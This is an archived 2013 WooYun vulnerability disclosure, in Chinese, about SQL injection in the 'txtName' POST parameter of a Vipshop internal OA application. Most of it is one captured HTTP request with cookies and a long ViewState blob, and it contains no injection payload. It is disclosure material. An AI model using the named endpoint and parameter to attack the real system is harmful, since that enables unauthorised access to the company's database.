乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-11-05: 细节已通知厂商并且等待厂商处理中 2013-11-05: 厂商已经确认,细节仅向厂商公开 2013-11-15: 细节向核心白帽子及相关领域专家公开 2013-11-25: 细节向普通白帽子公开 2013-12-05: 细节向实习白帽子公开 2013-12-20: 细节向公众公开
唯品会SQL注入
通过查看js文件中的调用找到的这个分站,只查询了user和database,看数据库名好像知道里面是什么内容了,点到为止吧。post提交,txtName参数存在SQL注入
POST /Service/CmpntListService.aspx?appKey=APP00008&jsapiurl=http%3a%2f%2fworkspace.oa.vipshop.com%3a6060%2fScripts%2fwp.sdk.js&proxyUrl=http%3a%2f%2fworkspace.oa.vipshop.com%3a6060%2fproxy.htm&ownerType=employee&owner=&containerCode=81aa4b54-c708-485b-ae56-849da23b657f&areaCode=GR-2&position=0 HTTP/1.1Host: appcenter.oa.vipshop.com:6060Proxy-Connection: keep-aliveContent-Length: 14708Origin: http://appcenter.oa.vipshop.com:6060X-Requested-With: XMLHttpRequestCache-Control: no-cacheX-MicrosoftAjax: Delta=trueUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept: */*Referer: http://appcenter.oa.vipshop.com:6060/Service/CmpntListService.aspx?appKey=APP00008&jsapiurl=http%3a%2f%2fworkspace.oa.vipshop.com%3a6060%2fScripts%2fwp.sdk.js&proxyUrl=http%3a%2f%2fworkspace.oa.vipshop.com%3a6060%2fproxy.htm&ownerType=employee&owner=&containerCode=81aa4b54-c708-485b-ae56-849da23b657f&areaCode=GR-2&position=0Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: vip_wh=VIP_NH; vip_rip=2xxxxxxxx; vip_ipver=31; PAPVisitorId=117b0dcb85bbd6d8bd8eb671170c5948; vip_new_old_user=1; vip_new_b_user=1; _jzqco=%7C%7C%7C%7C%7C1.1399621424.1382969926338.1382972288711.1382972419911.1382972288711.1382972419911.0.0.0.7.7; s_nr=1382972469472; mars_pid=68; mars_cid=2980e92f07c14b29632cf85099f38942; __utma=96440987.927026635.1382969927.1382971057.1383212045.4; __utmz=96440987.1383212045.4.4.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); ASP.NET_SessionId=xecgem33teon5fzp4w11ky1tsm=UpdatePanel1%7CbtnSearch&txtName=S2&hidAppKey=APP00007&hfAddedClose=1&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTE2Njg5ODkzNA8WEB4GYXBwS2V5BQhBUFAwMDAwOB4NY29udGFpbmVyQ29kZQUkODFhYTRiNTQtYzcwOC00ODViLWFlNTYtODQ5ZGEyM2I2NTdmHghhcmVhQ29kZQUER1ItMh4IcG9zaXRpb24FATAeBW93bmVyZR4Jb3duZXJ0eXBlBQhlbXBsb3llZR4DdXNyZB4KdXNlZENtcG50czL7RAABAAAA%2F%2F%2F%2F%2FwEAAAAAAAAADAIAAABOU3lzdGVtLkRhdGEsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAVU3lzdGVtLkRhdGEuRGF0YVRhYmxlAwAAABlEYXRhVGFibGUuUmVtb3RpbmdWZXJzaW9uCVhtbFNjaGVtYQtYbWxEaWZmR3JhbQMBAQ5TeXN0ZW0uVmVyc2lvbgIAAAAJAwAAAAYEAAAAmw48P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjx4czpzY2hlbWEgeG1sbnM9IiIgeG1sbnM6eHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSI%2BDQogIDx4czplbGVtZW50IG5hbWU9ImRzIj4NCiAgICA8eHM6Y29tcGxleFR5cGU%2BDQogICAgICA8eHM6c2VxdWVuY2U%2BDQogICAgICAgIDx4czplbGVtZW50IG5hbWU9ImlkIiBtc2RhdGE6RGF0YVR5cGU9IlN5c3RlbS5HdWlkLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiIHR5cGU9InhzOnN0cmluZyIgbXNkYXRhOnRhcmdldE5hbWVzcGFjZT0iIiBtaW5PY2N1cnM9IjAiIC8%2BDQogICAgICAgIDx4czplbGVtZW50IG5hbWU9ImFwcEtleSIgdHlwZT0ieHM6c3RyaW5nIiBtc2RhdGE6dGFyZ2V0TmFtZXNwYWNlPSIiIG1pbk9jY3Vycz0iMCIgLz4NCiAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iY29udGFpbmVyQ29kZSIgdHlwZT0ieHM6c3RyaW5nIiBtc2RhdGE6dGFyZ2V0TmFtZXNwYWNlPSIiIG1pbk9jY3Vycz0iMCIgLz4NCiAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iYXJlYUNvZGUiIHR5cGU9InhzOnN0cmluZyIgbXNkYXRhOnRhcmdldE5hbWVzcGFjZT0iIiBtaW5PY2N1cnM9IjAiIC8%2BDQogICAgICAgIDx4czplbGVtZW50IG5hbWU9InBvc2l0aW9uIiB0eXBlPSJ4czppbnQiIG1zZGF0YTp0YXJnZXROYW1lc3BhY2U9IiIgbWluT2NjdXJzPSIwIiAvPg0KICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJjb21wb25lbnRDbGFzc0lkIiBtc2RhdGE6RGF0YVR5cGU9IlN5c3RlbS5HdWlkLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiIHR5cGU9InhzOnN0cmluZyIgbXNkYXRhOnRhcmdldE5hbWVzcGFjZT0iIiBtaW5PY2N1cnM9IjAiIC8%2BDQogICAgICAgIDx4czplbGVtZW50IG5hbWU9Im93bmVyIiB0eXBlPSJ4czpzdHJpbmciIG1zZGF0YTp0YXJnZXROYW1lc3BhY2U9IiIgbWluT2NjdXJzPSIwIiAvPg0KICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJvd25lclR5cGUiIHR5cGU9InhzOnN0cmluZyIgbXNkYXRhOnRhcmdldE5hbWVzcGFjZT0iIiBtaW5PY2N1cnM9IjAiIC8%2BDQogICAgICAgIDx4czplbGVtZW50IG5hbWU9ImNyZWF0ZU9uIiB0eXBlPSJ4czpkYXRlVGltZSIgbXNkYXRhOnRhcmdldE5hbWVzcGFjZT0iIiBtaW5PY2N1cnM9IjAiIC8%2BDQogICAgICAgIDx4czplbGVtZW50IG5hbWU9InN0YXR1cyIgdHlwZT0ieHM6aW50IiBtc2RhdGE6dGFyZ2V0TmFtZXNwYWNlPSIiIG1pbk9jY3Vycz0iMCIgLz4NCiAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0idW5pbnN0YWxsT24iIHR5cGU9InhzOmRhdGVUaW1lIiBtc2RhdGE6dGFyZ2V0TmFtZXNwYWNlPSIiIG1pbk9jY3Vycz0iMCIgLz4NCiAgICAgIDwveHM6c2VxdWVuY2U%2BDQogICAgPC94czpjb21wbGV4VHlwZT4NCiAgPC94czplbGVtZW50Pg0KICA8eHM6ZWxlbWVudCBuYW1lPSJ0bXBEYXRhU2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6TWFpbkRhdGFUYWJsZT0iZHMiIG1zZGF0YTpVc2VDdXJyZW50TG9jYWxlPSJ0cnVlIj4NCiAgICA8eHM6Y29tcGxleFR5cGU%2BDQogICAgICA8eHM6Y2hvaWNlIG1pbk9jY3Vycz0iMCIgbWF4T2NjdXJzPSJ1bmJvdW5kZWQiIC8%2BDQogICAgPC94czpjb21wbGV4VHlwZT4NCiAgPC94czplbGVtZW50Pg0KPC94czpzY2hlbWE%2BBgUAAACzNDxkaWZmZ3I6ZGlmZmdyYW0geG1sbnM6bXNkYXRhPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1tc2RhdGEiIHhtbG5zOmRpZmZncj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtZGlmZmdyYW0tdjEiPg0KICA8dG1wRGF0YVNldD4NCiAgICA8ZHMgZGlmZmdyOmlkPSJkczEiIG1zZGF0YTpyb3dPcmRlcj0iMCI%2BDQogICAgICA8aWQ%2BZDJiMGExZTItNWUzNS00YzFmLWE2OWUtMTk3NzE3M2Y0MGViPC9pZD4NCiAgICAgIDxhcHBLZXk%2BQVBQMDAwMDg8L2FwcEtleT4NCiAgICAgIDxjb250YWluZXJDb2RlPjgxYWE0YjU0LWM3MDgtNDg1Yi1hZTU2LTg0OWRhMjNiNjU3ZjwvY29udGFpbmVyQ29kZT4NCiAgICAgIDxhcmVhQ29kZT5HUi0yPC9hcmVhQ29kZT4NCiAgICAgIDxwb3NpdGlvbj41PC9wb3NpdGlvbj4NCiAgICAgIDxjb21wb25lbnRDbGFzc0lkPjE4MGFhZDRkLTFkMzItNDY3OS05ODdhLTBiMDIzMTMyNWI1MjwvY29tcG9uZW50Q2xhc3NJZD4NCiAgICAgIDxvd25lciAvPg0KICAgICAgPG93bmVyVHlwZT5lbXBsb3llZTwvb3duZXJUeXBlPg0KICAgICAgPGNyZWF0ZU9uPjIwMTMtMDYtMjRUMDA6MzM6MDcuODE3KzA4OjAwPC9jcmVhdGVPbj4NCiAgICAgIDxzdGF0dXM%2BMDwvc3RhdHVzPg0KICAgIDwvZHM%2BDQogICAgPGRzIGRpZmZncjppZD0iZHMyIiBtc2RhdGE6cm93T3JkZXI9IjEiPg0KICAgICAgPGlkPmNjODRjZjFjLWVkYzgtNGVkNi1hODBhLTQ1Njk5Mzg1ZDBlNTwvaWQ%2BDQogICAgICA8YXBwS2V5PkFQUDAwMDA4PC9hcHBLZXk%2BDQogICAgICA8Y29udGFpbmVyQ29kZT44MWFhNGI1NC1jNzA4LTQ4NWItYWU1Ni04NDlkYTIzYjY1N2Y8L2NvbnRhaW5lckNvZGU%2BDQogICAgICA8YXJlYUNvZGU%2BR1ItMjwvYXJlYUNvZGU%2BDQogICAgICA8cG9zaXRpb24%2BNzwvcG9zaXRpb24%2BDQogICAgICA8Y29tcG9uZW50Q2xhc3NJZD42YzVjZTRjNy1iMTdlLTQyYWQtOWUyYy03NzFjODExZjE4MDU8L2NvbXBvbmVudENsYXNzSWQ%2BDQogICAgICA8b3duZXIgLz4NCiAgICAgIDxvd25lclR5cGU%2BZW1wbG95ZWU8L293bmVyVHlwZT4NCiAgICAgIDxjcmVhdGVPbj4yMDEzLTA2LTI0VDAwOjMzOjA3LjgzMyswODowMDwvY3JlYXRlT24%2BDQogICAgICA8c3RhdHVzPjA8L3N0YXR1cz4NCiAgICA8L2RzPg0KICAgIDxkcyBkaWZmZ3I6aWQ9ImRzMyIgbXNkYXRhOnJvd09yZGVyPSIyIj4NCiAgICAgIDxpZD44ZDBkOGRmOC02MTgzLTQyZWMtYWI1NS00NTk3YjNlNzU4ODI8L2lkPg0KICAgICAgPGFwcEtleT5BUFAwMDAwODwvYXBwS2V5Pg0KICAgICAgPGNvbnRhaW5lckNvZGU%2BODFhYTRiNTQtYzcwOC00ODViLWFlNTYtODQ5ZGEyM2I2NTdmPC9jb250YWluZXJDb2RlPg0KICAgICAgPGFyZWFDb2RlPkdSLTI8L2FyZWFDb2RlPg0KICAgICAgPHBvc2l0aW9uPjI8L3Bvc2l0aW9uPg0KICAgICAgPGNvbXBvbmVudENsYXNzSWQ%2BNjllNzg0YTUtMzFjMi00Y2U1LTgxNTktNzliMjNhOTM1NWY3PC9jb21wb25lbnRDbGFzc0lkPg0KICAgICAgPG93bmVyIC8%2BDQogICAgICA8b3duZXJUeXBlPmVtcGxveWVlPC9vd25lclR5cGU%2BDQogICAgICA8Y3JlYXRlT24%2BMjAxMy0wNi0yNFQwMDozMzowNy43ODMrMDg6MDA8L2NyZWF0ZU9uPg0KICAgICAgPHN0YXR1cz4wPC9zdGF0dXM%2BDQogICAgPC9kcz4NCiAgICA8ZHMgZGlmZmdyOmlkPSJkczQiIG1zZGF0YTpyb3dPcmRlcj0iMyI%2BDQogICAgICA8aWQ%2BYTljZmYzNTktNGEwOC00NTlmLWExMTQtNTI1NWY0MzhjNmI5PC9pZD4NCiAgICAgIDxhcHBLZXk%2BQVBQMDAwMDg8L2FwcEtleT4NCiAgICAgIDxjb250YWluZXJDb2RlPjgxYWE0YjU0LWM3MDgtNDg1Yi1hZTU2LTg0OWRhMjNiNjU3ZjwvY29udGFpbmVyQ29kZT4NCiAgICAgIDxhcmVhQ29kZT5HUi0yPC9hcmVhQ29kZT4NCiAgICAgIDxwb3NpdGlvbj4yPC9wb3NpdGlvbj4NCiAgICAgIDxjb21wb25lbnRDbGFzc0lkPjZjNWNlNGM3LWIxN2UtNDJhZC05ZTJjLTc3MWM4MTFmMTgwNTwvY29tcG9uZW50Q2xhc3NJZD4NCiAgICAgIDxvd25lciAvPg0KICAgICAgPG93bmVyVHlwZT5lbXBsb3llZTwvb3duZXJUeXBlPg0KICAgICAgPGNyZWF0ZU9uPjIwMTMtMTEtMDVUMDE6MTM6NTQuMDQ3KzA4OjAwPC9jcmVhdGVPbj4NCiAgICAgIDxzdGF0dXM%2BMDwvc3RhdHVzPg0KICAgIDwvZHM%2BDQogICAgPGRzIGRpZmZncjppZD0iZHM1IiBtc2RhdGE6cm93T3JkZXI9IjQiPg0KICAgICAgPGlkPjczYzMzMzVlLTMwYWItNGU3NC1hODQxLTUyY2UyYThlNjYxMDwvaWQ%2BDQogICAgICA8YXBwS2V5PkFQUDAwMDA4PC9hcHBLZXk%2BDQogICAgICA8Y29udGFpbmVyQ29kZT44MWFhNGI1NC1jNzA4LTQ4NWItYWU1Ni04NDlkYTIzYjY1N2Y8L2NvbnRhaW5lckNvZGU%2BDQogICAgICA8YXJlYUNvZGU%2BR1ItMjwvYXJlYUNvZGU%2BDQogICAgICA8cG9zaXRpb24%2BODwvcG9zaXRpb24%2BDQogICAgICA8Y29tcG9uZW50Q2xhc3NJZD5kZjhjM2NjZi0yNjliLTQ2MTMtOWNmYS1lZTUxODk1NTNjMjU8L2NvbXBvbmVudENsYXNzSWQ%2BDQogICAgICA8b3duZXIgLz4NCiAgICAgIDxvd25lclR5cGU%2BZW1wbG95ZWU8L293bmVyVHlwZT4NCiAgICAgIDxjcmVhdGVPbj4yMDEzLTA2LTI0VDAwOjMzOjA3LjgzMyswODowMDwvY3JlYXRlT24%2BDQogICAgICA8c3RhdHVzPjA8L3N0YXR1cz4NCiAgICA8L2RzPg0KICAgIDxkcyBkaWZmZ3I6aWQ9ImRzNiIgbXNkYXRhOnJvd09yZGVyPSI1Ij4NCiAgICAgIDxpZD40MTQyMTk0NC01MWM1LTQ2MTAtYjFlYy02MGM2ZWJhNmY2MDM8L2lkPg0KICAgICAgPGFwcEtleT5BUFAwMDAwODwvYXBwS2V5Pg0KICAgICAgPGNvbnRhaW5lckNvZGU%2BODFhYTRiNTQtYzcwOC00ODViLWFlNTYtODQ5ZGEyM2I2NTdmPC9jb250YWluZXJDb2RlPg0KICAgICAgPGFyZWFDb2RlPkdSLTI8L2FyZWFDb2RlPg0KICAgICAgPHBvc2l0aW9uPjE8L3Bvc2l0aW9uPg0KICAgICAgPGNvbXBvbmVudENsYXNzSWQ%2BNmM1Y2U0YzctYjE3ZS00MmFkLTllMmMtNzcxYzgxMWYxODA1PC9jb21wb25lbnRDbGFzc0lkPg0KICAgICAgPG93bmVyIC8%2BDQogICAgICA8b3duZXJUeXBlPmVtcGxveWVlPC9vd25lclR5cGU%2BDQogICAgICA8Y3JlYXRlT24%2BMjAxMy0wNi0yNFQwMDozMzo1MS4xMjMrMDg6MDA8L2NyZWF0ZU9uPg0KICAgICAgPHN0YXR1cz4wPC9zdGF0dXM%2BDQogICAgPC9kcz4NCiAgICA8ZHMgZGlmZmdyOmlkPSJkczciIG1zZGF0YTpyb3dPcmRlcj0iNiI%2BDQogICAgICA8aWQ%2BNGEwNmI5M2UtNWQwMi00NTIxLWEzOGUtNmZmZWRjZGNhMjk2PC9pZD4NCiAgICAgIDxhcHBLZXk%2BQVBQMDAwMDg8L2FwcEtleT4NCiAgICAgIDxjb250YWluZXJDb2RlPjgxYWE0YjU0LWM3MDgtNDg1Yi1hZTU2LTg0OWRhMjNiNjU3ZjwvY29udGFpbmVyQ29kZT4NCiAgICAgIDxhcmVhQ29kZT5HUi0yPC9hcmVhQ29kZT4NCiAgICAgIDxwb3NpdGlvbj4xPC9wb3NpdGlvbj4NCiAgICAgIDxjb21wb25lbnRDbGFzc0lkPmE4ZWJjYmE5LWUyYjMtNDIwZS04YzkzLTI0NmM1ZWRmOWJlNjwvY29tcG9uZW50Q2xhc3NJZD4NCiAgICAgIDxvd25lciAvPg0KICAgICAgPG93bmVyVHlwZT5lbXBsb3llZTwvb3duZXJUeXBlPg0KICAgICAgPGNyZWF0ZU9uPjIwMTMtMDYtMjRUMDA6MzM6MDcuNzUzKzA4OjAwPC9jcmVhdGVPbj4NCiAgICAgIDxzdGF0dXM%2BMDwvc3RhdHVzPg0KICAgIDwvZHM%2BDQogICAgPGRzIGRpZmZncjppZD0iZHM4IiBtc2RhdGE6cm93T3JkZXI9IjciPg0KICAgICAgPGlkPjIyNjM5ZjVmLWEwYjctNDZjZC1iYmViLTc3ZWY4NzM5YzAzNjwvaWQ%2BDQogICAgICA8YXBwS2V5PkFQUDAwMDA4PC9hcHBLZXk%2BDQogICAgICA8Y29udGFpbmVyQ29kZT44MWFhNGI1NC1jNzA4LTQ4NWItYWU1Ni04NDlkYTIzYjY1N2Y8L2NvbnRhaW5lckNvZGU%2BDQogICAgICA8YXJlYUNvZGU%2BR1ItMjwvYXJlYUNvZGU%2BDQogICAgICA8cG9zaXRpb24%2BNDwvcG9zaXRpb24%2BDQogICAgICA8Y29tcG9uZW50Q2xhc3NJZD5mNzM0ZTQzZC1mNmE4LTRmOTYtODUxNC1jZTRmYWJiZDViY2U8L2NvbXBvbmVudENsYXNzSWQ%2BDQogICAgICA8b3duZXIgLz4NCiAgICAgIDxvd25lclR5cGU%2BZW1wbG95ZWU8L293bmVyVHlwZT4NCiAgICAgIDxjcmVhdGVPbj4yMDEzLTA2LTI0VDAwOjMzOjA3LjgrMDg6MDA8L2NyZWF0ZU9uPg0KICAgICAgPHN0YXR1cz4wPC9zdGF0dXM%2BDQogICAgPC9kcz4NCiAgICA8ZHMgZGlmZmdyOmlkPSJkczkiIG1zZGF0YTpyb3dPcmRlcj0iOCI%2BDQogICAgICA8aWQ%2BZGI5ZGEyZGEtYWVmNC00MDIwLWJlYmUtODcyMDdkYzA3NmVlPC9pZD4NCiAgICAgIDxhcHBLZXk%2BQVBQMDAwMDg8L2FwcEtleT4NCiAgICAgIDxjb250YWluZXJDb2RlPjgxYWE0YjU0LWM3MDgtNDg1Yi1hZTU2LTg0OWRhMjNiNjU3ZjwvY29udGFpbmVyQ29kZT4NCiAgICAgIDxhcmVhQ29kZT5HUi0yPC9hcmVhQ29kZT4NCiAgICAgIDxwb3NpdGlvbj4xPC9wb3NpdGlvbj4NCiAgICAgIDxjb21wb25lbnRDbGFzc0lkPmY3MzRlNDNkLWY2YTgtNGY5Ni04NTE0LWNlNGZhYmJkNWJjZTwvY29tcG9uZW50Q2xhc3NJZD4NCiAgICAgIDxvd25lciAvPg0KICAgICAgPG93bmVyVHlwZT5lbXBsb3llZTwvb3duZXJUeXBlPg0KICAgICAgPGNyZWF0ZU9uPjIwMTMtMTEtMDVUMDE6MTM6NDkuMTk3KzA4OjAwPC9jcmVhdGVPbj4NCiAgICAgIDxzdGF0dXM%2BMDwvc3RhdHVzPg0KICAgIDwvZHM%2BDQogICAgPGRzIGRpZmZncjppZD0iZHMxMCIgbXNkYXRhOnJvd09yZGVyPSI5Ij4NCiAgICAgIDxpZD5lNzI4MmZiMS0xODljLTRiM2UtOWRkNS05ODg2YWEzOTlkY2U8L2lkPg0KICAgICAgPGFwcEtleT5BUFAwMDAwODwvYXBwS2V5Pg0KICAgICAgPGNvbnRhaW5lckNvZGU%2BODFhYTRiNTQtYzcwOC00ODViLWFlNTYtODQ5ZGEyM2I2NTdmPC9jb250YWluZXJDb2RlPg0KICAgICAgPGFyZWFDb2RlPkdSLTI8L2FyZWFDb2RlPg0KICAgICAgPHBvc2l0aW9uPjM8L3Bvc2l0aW9uPg0KICAgICAgPGNvbXBvbmVudENsYXNzSWQ%2BNWI3NTBhZjgtNTllMi00NTQxLThlNjgtYTEzNDhhMzAxNzFlPC9jb21wb25lbnRDbGFzc0lkPg0KICAgICAgPG93bmVyIC8%2BDQogICAgICA8b3duZXJUeXBlPmVtcGxveWVlPC9vd25lclR5cGU%2BDQogICAgICA8Y3JlYXRlT24%2BMjAxMy0wNi0yNFQwMDozMzowNy44KzA4OjAwPC9jcmVhdGVPbj4NCiAgICAgIDxzdGF0dXM%2BMDwvc3RhdHVzPg0KICAgIDwvZHM%2BDQogICAgPGRzIGRpZmZncjppZD0iZHMxMSIgbXNkYXRhOnJvd09yZGVyPSIxMCI%2BDQogICAgICA8aWQ%2BNjYxYjFmYWMtNTUzYi00ZTc3LThjZTAtYTA4ODNlZGUzOTk3PC9pZD4NCiAgICAgIDxhcHBLZXk%2BQVBQMDAwMDg8L2FwcEtleT4NCiAgICAgIDxjb250YWluZXJDb2RlPjgxYWE0YjU0LWM3MDgtNDg1Yi1hZTU2LTg0OWRhMjNiNjU3ZjwvY29udGFpbmVyQ29kZT4NCiAgICAgIDxhcmVhQ29kZT5HUi0yPC9hcmVhQ29kZT4NCiAgICAgIDxwb3NpdGlvbj42PC9wb3NpdGlvbj4NCiAgICAgIDxjb21wb25lbnRDbGFzc0lkPmJjNTU3NDYwLTE5YjctNDZmOS04MTljLWFiNzlhMDRmN2IyYTwvY29tcG9uZW50Q2xhc3NJZD4NCiAgICAgIDxvd25lciAvPg0KICAgICAgPG93bmVyVHlwZT5lbXBsb3llZTwvb3duZXJUeXBlPg0KICAgICAgPGNyZWF0ZU9uPjIwMTMtMDYtMjRUMDA6MzM6MDcuODE3KzA4OjAwPC9jcmVhdGVPbj4NCiAgICAgIDxzdGF0dXM%2BMDwvc3RhdHVzPg0KICAgIDwvZHM%2BDQogICAgPGRzIGRpZmZncjppZD0iZHMxMiIgbXNkYXRhOnJvd09yZGVyPSIxMSI%2BDQogICAgICA8aWQ%2BMjljMDBhMTAtYjMyOS00MGE2LWFjNmItY2FmYTU2YWFhMmUxPC9pZD4NCiAgICAgIDxhcHBLZXk%2BQVBQMDAwMDg8L2FwcEtleT4NCiAgICAgIDxjb250YWluZXJDb2RlPjgxYWE0YjU0LWM3MDgtNDg1Yi1hZTU2LTg0OWRhMjNiNjU3ZjwvY29udGFpbmVyQ29kZT4NCiAgICAgIDxhcmVhQ29kZT5HUi0yPC9hcmVhQ29kZT4NCiAgICAgIDxwb3NpdGlvbj45PC9wb3NpdGlvbj4NCiAgICAgIDxjb21wb25lbnRDbGFzc0lkPjZjNGJhYzIyLWM1MWYtNGQ5NC05MWQ5LTc2YzliOGQ4YTAwNDwvY29tcG9uZW50Q2xhc3NJZD4NCiAgICAgIDxvd25lciAvPg0KICAgICAgPG93bmVyVHlwZT5lbXBsb3llZTwvb3duZXJUeXBlPg0KICAgICAgPGNyZWF0ZU9uPjIwMTMtMDYtMjRUMDA6MzM6MDcuODQ3KzA4OjAwPC9jcmVhdGVPbj4NCiAgICAgIDxzdGF0dXM%2BMDwvc3RhdHVzPg0KICAgIDwvZHM%2BDQogICAgPGRzIGRpZmZncjppZD0iZHMxMyIgbXNkYXRhOnJvd09yZGVyPSIxMiI%2BDQogICAgICA8aWQ%2BNTFhOTZmMTItODg4Ny00MzI0LWJlZTMtZGM2N2ZiMTYzYjA0PC9pZD4NCiAgICAgIDxhcHBLZXk%2BQVBQMDAwMDg8L2FwcEtleT4NCiAgICAgIDxjb250YWluZXJDb2RlPjgxYWE0YjU0LWM3MDgtNDg1Yi1hZTU2LTg0OWRhMjNiNjU3ZjwvY29udGFpbmVyQ29kZT4NCiAgICAgIDxhcmVhQ29kZT5HUi0yPC9hcmVhQ29kZT4NCiAgICAgIDxwb3NpdGlvbj4xPC9wb3NpdGlvbj4NCiAgICAgIDxjb21wb25lbnRDbGFzc0lkPjZjNWNlNGM3LWIxN2UtNDJhZC05ZTJjLTc3MWM4MTFmMTgwNTwvY29tcG9uZW50Q2xhc3NJZD4NCiAgICAgIDxvd25lciAvPg0KICAgICAgPG93bmVyVHlwZT5lbXBsb3llZTwvb3duZXJUeXBlPg0KICAgICAgPGNyZWF0ZU9uPjIwMTMtMDktMThUMTU6Mjg6MTAuNzErMDg6MDA8L2NyZWF0ZU9uPg0KICAgICAgPHN0YXR1cz4wPC9zdGF0dXM%2BDQogICAgPC9kcz4NCiAgPC90bXBEYXRhU2V0Pg0KPC9kaWZmZ3I6ZGlmZmdyYW0%2BBAMAAAAOU3lzdGVtLlZlcnNpb24EAAAABl9NYWpvcgZfTWlub3IGX0J1aWxkCV9SZXZpc2lvbgAAAAAICAgIAgAAAAAAAAD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwsWAmYPZBYCAgMPZBYCZg9kFgQCBQ8WAh4LXyFJdGVtQ291bnQCAxYGAgEPZBYGAgEPFgIeBXZhbHVlBSQ2YzVjZTRjNy1iMTdlLTQyYWQtOWUyYy03NzFjODExZjE4MDVkAgIPFQZNVXBsb2FkL0NtcG50SW1hZ2VzL2ljb25hZGRkMWY1NC1hZTRjLTRkNWEtYTA4OC02ZWViMDhlODQwMGMyMDExMTIwNTA1MDgxNy5wbmckNmM1Y2U0YzctYjE3ZS00MmFkLTllMmMtNzcxYzgxMWYxODA1D1MyLeeUs%2Bivt%2BiusOW9lTDln7rkuo7mlrDlvJXmk47nmoTlt6XkvZzmtYHnlLPor7fliJfooajnu4Tku7bvvIEw5Z%2B65LqO5paw5byV5pOO55qE5bel5L2c5rWB55Sz6K%2B35YiX6KGo57uE5Lu277yBCeW3sua3u%2BWKoGQCAw8PFgIeD0NvbW1hbmRBcmd1bWVudAUkNmM1Y2U0YzctYjE3ZS00MmFkLTllMmMtNzcxYzgxMWYxODA1ZGQCAg9kFgYCAQ8WAh8JBSRkZjhjM2NjZi0yNjliLTQ2MTMtOWNmYS1lZTUxODk1NTNjMjVkAgIPFQZNVXBsb2FkL0NtcG50SW1hZ2VzL2ljb25kMjVmYTYxOC02MTZiLTQyMGYtYmFiMS00ZTMwZDdjZjE2YTIyMDExMTIwNTA1MTcwMi5wbmckZGY4YzNjY2YtMjY5Yi00NjEzLTljZmEtZWU1MTg5NTUzYzI1D1MyLeW%2BhemYheaUtuaWhyrln7rkuo7mlrDlvJXmk47nmoTlt6XkvZzmtYHmlLbmlofnu4Tku7bvvIEq5Z%2B65LqO5paw5byV5pOO55qE5bel5L2c5rWB5pS25paH57uE5Lu277yBCeW3sua3u%2BWKoGQCAw8PFgIfCgUkZGY4YzNjY2YtMjY5Yi00NjEzLTljZmEtZWU1MTg5NTUzYzI1ZGQCAw9kFgYCAQ8WAh8JBSQ2YzRiYWMyMi1jNTFmLTRkOTQtOTFkOS03NmM5YjhkOGEwMDRkAgIPFQZNVXBsb2FkL0NtcG50SW1hZ2VzL2ljb25jNjUxMDczOS05MGM2LTQzM2QtYjg4Mi1lNDExNThiMGI1MjcyMDExMTIwNTA1MDk0NS5wbmckNmM0YmFjMjItYzUxZi00ZDk0LTkxZDktNzZjOWI4ZDhhMDA0ElMyLeW%2BheWuoeaJuea1geeoizDmlrDlvJXmk47lr7nlupTnmoTku6Plip7lt6XkvZzpobnliJfooajnu4Tku7bvvIEw5paw5byV5pOO5a%2B55bqU55qE5Luj5Yqe5bel5L2c6aG55YiX6KGo57uE5Lu277yBCeW3sua3u%2BWKoGQCAw8PFgIfCgUkNmM0YmFjMjItYzUxZi00ZDk0LTkxZDktNzZjOWI4ZDhhMDA0ZGQCBw8PFgYeC1JlY29yZENvdW50BQEzHhBDdXJyZW50UGFnZUluZGV4BQExHglQYWdlQ291bnQFATFkFgJmD2QWEAIBDw8WBh4IQ3NzQ2xhc3MFDWN1dGVwYWdlIHByZXYeB0VuYWJsZWRoHgRfIVNCAgJkZAIDDxYCHgdWaXNpYmxlaGQCBQ8WAh8RaGQCBw8WAh8IAgEWAmYPZBYCAgEPDxYIHwoFATEfDgUIc2VsZWN0ZWQfD2gfEAICZBYCZg8VAQExZAIJDxYCHxFoZAILDxYCHxFoZAINDw8WBh8OBQ1jdXRlcGFnZSBuZXh0Hw9oHxACAmRkAg8PDxYCHgRUZXh0BRvnrKwx6aG1Jm5ic3A7LyZuYnNwO%2BWFsTHpobVkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WBAUhcnBDbXBudExpc3RTZXJpdmUkY3RsMDAkY2hrU2VsZWN0BSFycENtcG50TGlzdFNlcml2ZSRjdGwwMSRjaGtTZWxlY3QFIXJwQ21wbnRMaXN0U2VyaXZlJGN0bDAyJGNoa1NlbGVjdAUhcnBDbXBudExpc3RTZXJpdmUkY3RsMDMkY2hrU2VsZWN0G9QElKGWlxQQxGWPNi1684T2Mx6kv8U2K8Xb7qo67%2B0%3D&__EVENTVALIDATION=%2FwEWDQKZioz9